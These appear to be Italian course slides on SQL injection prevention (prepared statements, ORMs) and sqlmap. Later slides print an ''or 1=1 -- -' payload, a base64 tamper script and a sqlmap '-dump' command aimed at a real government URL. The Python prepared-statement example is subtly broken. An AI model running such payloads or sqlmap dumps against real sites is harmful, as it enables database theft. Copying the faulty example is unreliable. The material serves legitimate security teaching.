coppito_zero_day

SQL INJECTION

LESSON 05

'SQLI PREVENTION

Abbiamo visto come sfruttare una SQLi con varie tecniche e vari obiettivi, ma come possiamo prevenirle quando programmiamo?

PREPARED STATEMENT

LIBRERIE

ORM

'SQLI PREVENTION

Scrivi le query a mano concatenando i parametri?

'SQLI PREVENTION

Usi la funzione di sanitize scritta da te per evitare le SQLi?

coppito_zero_day

'SQLI PREVENTION

PREPARED STATEMENT

LIBRERIE

ORM

'COS'È UN PREPARED STATEMENT?

Un prepared statement (a.k.a. parameterized statement) è una funzionalità dei DBMS per evitare code injection ed eseguire istruzioni simili in maniera ripetuta con la massima efficienza.

L'istruzione sql viene utilizzata come un template e ad ogni esecuzione specifici placeholder vengono sostituiti con i valori variabili.

'COS'È UN PREPARED STATEMENT?

Il flusso tipico prevede:

- **Prepare**: l'applicazione crea il template dell'istruzione SQL con specifici valori chiamati "parametri", "placeholders" o "bind variables".
- Il DBMS effettua il parsing, l'ottimizzazione e la conversione dell'istruzione SQL senza eseguirla.
- **Execute**: l'applicazione sostituisce (o lega (bind)) i parametri dell'istruzione SQL con i valori reali ed esegue la query.

Il DBMS sa esattamente qual'è l'istruzione SQL e quali sono i parametri.
E' impossibile fregarlo facendo passare un parametro per istruzione.

'PHP PDO EXAMPLE

ESEMPIO

```php
// Database connection
$conn = new PDO("mysql:dbname=mysql", "root");

// Prepare the statement as a query template
$stmt = $conn->prepare("SELECT * FROM pages WHERE id = ?");

// Declare parameters
$params = array(11);

// Bind parameters to query template and execute it
$stmt->execute($params);

// Show results
echo $stmt->fetch()[1];
```

Questo codice non è iniettabile.

'PHP ORM EXAMPLE

ESEMPIO

```php
// Inizialize a new ORM instance
$capsule = new Capsule;
// Database connection
$capsule->addConnection([
  'driver'    => 'mysql',
  'host'      => 'db',
  'database'  => 'sqli_chall4_0',
  'username'  => 'chall4_0',
  'password'  => 'random_password'
]);
// Query what you need (the ORM will use prepared statements under the hood)
$result = $capsule->table('memes')->where('id', '=', $_GET['id'])->first();
// Show results
echo $result->title;
```

Questo codice non è iniettabile.

'NODE.JS EXAMPLE

ESEMPIO

```
// Import mysql library
const mysql = require('mysql2');
// create the connection to database
const connection = mysql.createConnection({
  host: 'localhost',
  user: 'root',
  database: 'test'
});
// execute will internally call prepare and query
connection.execute(
  'SELECT * FROM `memes` WHERE `id` = ? AND `category` = ?',
  [51, 'cybersec'],
  function(err, results, fields) {
    console.log(results); // results contains rows returned by server
  }
);
```

Questo codice non è iniettabile.

'PYTHON EXAMPLE

ESEMPIO

```python
# Import mysql library
import mysql.connector
# Create the connection to db
connection = mysql.connector.connect(host='localhost',
                             database='memes',
                             user='memes',
                             password='password1')
# Set the cursor to use prepared statements
cursor = connection.cursor(prepared=True)
# Set the query template
prepstmt = "SELECT id, title FROM memes WHERE id = %s"
# Bind parameters in a tuple
cur.execute(prepstmt, (15))
# Show results
for row in cur:
  print row['title']
```

Questo codice non è iniettabile.

'SQLMAP

COS'È SQLMAP

sqlmap è un tool open source di penetration testing che automatizza il processo di identificazione ed exploiting di una SQL injection.

'SQLMAP

- Supporta MySQL, Oracle, PostgreSQL, MSSQL, SQLite e molti altri DBMS.
- Supporta 6 tecniche di SQLi: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
- Enumera automaticamente utenti, password hashes, database, ruoli utente, privilegi, tabelle e colonne.
- Effettua i dump completi dei database.
- Può uploadare e scaricare file.
- Può ottenere RCE automaticamente.
- Supporta altre feature molto fighe.
- E' l'unica cosa che sanno usare gli skiddies di Anonymous Italia (senza capire come funziona).

'DISCLAIMER

SE ESEGUIRE UNA SQLI SENZA AUTORIZZAZIONE È ILLEGALE...

USARE SQLMAP SENZA AUTORIZZAZIONE È ESTREMAMENTE ILLEGALE

E anche molto rumoroso...

coppito_zero_day

'SQLMAP

USAGE EXAMPLE

```
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0
[17:22:17] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other
 tools [y/N] N
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q
] Y
[17:22:17] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/home/stamparm/Dropbox/Work/sqlmap/txt/wordlist.zip' (press E
nter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[17:22:17] [INFO] using default dictiona
do you want to use common password suff      (slow!) [y/N] N
[17:22:17] [INFO] starting dictionary-b ed cracking (mysql_passwd)
[17:22:17] [INFO] starting 8 processes
[17:22:20] [INFO] cracked password 'testpass' for user 'root'
database management system users password hashes:
[*] debian-sys-maint [1]:
    password hash: *6B2C58EABD91C1776DA223B088B601604F898847
[*] root [1]:
    password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
    clear-text password: testpass

[17:22:21] [INFO] fetched data logged to text files under '/home/stamparm/.sqlmap/output/d
ebiandev'
```

00:00

Recorded with asciinema

'SQLMAP

TAMPER SCRIPTS

sqlmap può essere facilmente esteso attraverso i tamper scripts.

Questa funzionalità consente di automatizzare un attacco in situazione non-standard.

coppito_zero_day

'SQLMAP - TAMPER SCRIPTS

Mark, web-developer, ha scoperto le SQLi ed è diventato paranoico.

Per proteggere i suoi siti, invece di usare i prepared statements, ha deciso di implementare un base64 query parser.

Ogni parametro viene decodificato con base64 per poi essere usato nella query.

Mark pensa di essere furbo, ma sta facendo una cosa stupida.

NON FARE IL MARK E USA I PREPARED STATEMENTS.

'SQLMAP - TAMPER SCRIPTS

ESEMPIO

```php
$id = base64_decode($_GET['id']);
$sql = "SELECT * FROM pages WHERE id = '" . $id . "'";
$result = $conn->query($sql);
while($row = $result->fetch_array()){
  print_r($row);
}
```

Parametri:

```php
$_GET['id'] = 'MTEK' // 'MTEK' is 11 base64-encoded
```

Risultato:

```sql
SELECT * FROM pages WHERE id = '11';
```

'SQLMAP - TAMPER SCRIPTS

ESEMPIO

Per sfruttare l'SQLi dobbiamo riuscire ad iniettare la stringa `'or 1=1 -- -`, ma sappiamo che i parametri vengono decodificati in base64.
Dobbiamo codificare quindi il parametro in base64.

```
echo -n "'or 1=1 -- -" | base64 # returns J29yIDE9MSAtLSAt
```

Parametri:

```
$_GET['id'] = 'J29yIDE9MSAtLSAt';
```

Risultato:

```
SELECT * FROM pages WHERE id = '' or 1=1 -- -'
```

BOOM!

NON FARE IL MARK E USA I PREPARED STATEMENTS.

'SQLMAP - TAMPER SCRIPTS

ESEMPIO

Ok, abbiamo fregato Mark, ma l'injection era molto semplice. Quanto tempo ci avremmo messo se fosse stato necessario usare una time-based? Encodare a mano almeno 8 volte un parametro per ottenere una sola lettera del nome del database?

AUTOMATE YOUR ATTACK!

'SQLMAP - TAMPER SCRIPTS

ESEMPIO

```python
#!/usr/bin/env python

from lib.core.data import kb
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    encoded_payload = base64.b64encode(payload)
    return encoded_payload
```

'SQLMAP - TAMPER SCRIPTS

ESEMPIO

Salviamo questo script in `sqlmap/tamper/b64.py` e lo eseguiamo con:

```
sqlmap -u "https://www.nsa.gov/news.php?id=MTEK" -tamper="b64.py" -dump
```

coppito_zero_day

SQL INJECTION FINE

coppito_zero_day

PROSSIMO INCONTRO

SQLI CTF